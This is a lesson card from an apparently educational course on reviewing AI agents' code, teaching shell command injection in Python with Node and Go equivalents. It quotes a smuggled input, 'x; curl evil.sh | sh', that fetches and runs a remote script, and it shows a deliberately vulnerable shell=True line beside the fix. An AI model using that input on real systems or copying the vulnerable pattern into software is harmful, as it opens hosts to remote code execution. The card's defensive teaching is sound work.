Work effectively with AI coding agents. Understand them as language models running in a tool loop with limited context, which is why they guess, game the visible signal and report confidently. Recognise the shortcut and correctness tells in their code across Python, TypeScript/JavaScript, Rust, Java and Go, and know the damage each one does later. Verify changes instead of trusting them, review diffs fast for quality and security, judge when work is truly finished, and choose, design and steer tasks so agents can finish them well.
String-built SQL, shell commands and HTML
card 5 of 6
Shell: one string vs an argument array
builds on: Trust boundaries and untrusted input
To list a user's commits, the agent wrote the BAD line. If `who` is `x; curl evil.sh | sh`, the shell runs a second command that downloads and runs a script. In the BETTER line no shell is involved, and the whole value stays one argument after `--author=`. The same idea applies elsewhere: Node `execFile` instead of `exec`, and Go `exec.Command("git", ...)` instead of `"sh", "-c"`. When a value is its own argument, put `--` before it so a value starting with `-` can't be read as an option.
// Python
# BAD
subprocess.run(f"git log --author={who}", shell=True)
# BETTER
subprocess.run(["git", "log", f"--author={who}"])
Terms on this card
- `exec`
- Node's child_process.exec runs a command string through a shell. execFile and spawn run a program directly by default.
- `execFile`
- Node's child_process.execFile runs a program with an array of arguments and no shell by default.
- the agent
- The AI coding system doing the work: a chat assistant, IDE agent or terminal agent.
- Node
- Node.js, the runtime that runs JavaScript/TypeScript outside the browser, typically on servers.
- execFile
- Node.js function that runs a program with an array of arguments directly, without a shell, so the arguments are not parsed as shell syntax.
Lesson goal: Spot injection risks in agent code: f-string or concatenated SQL, `shell=True` or `exec` with interpolated input, and `innerHTML` or unescaped templates. Replace each with parameterised queries, argument arrays or safe encoding. ·
the whole lesson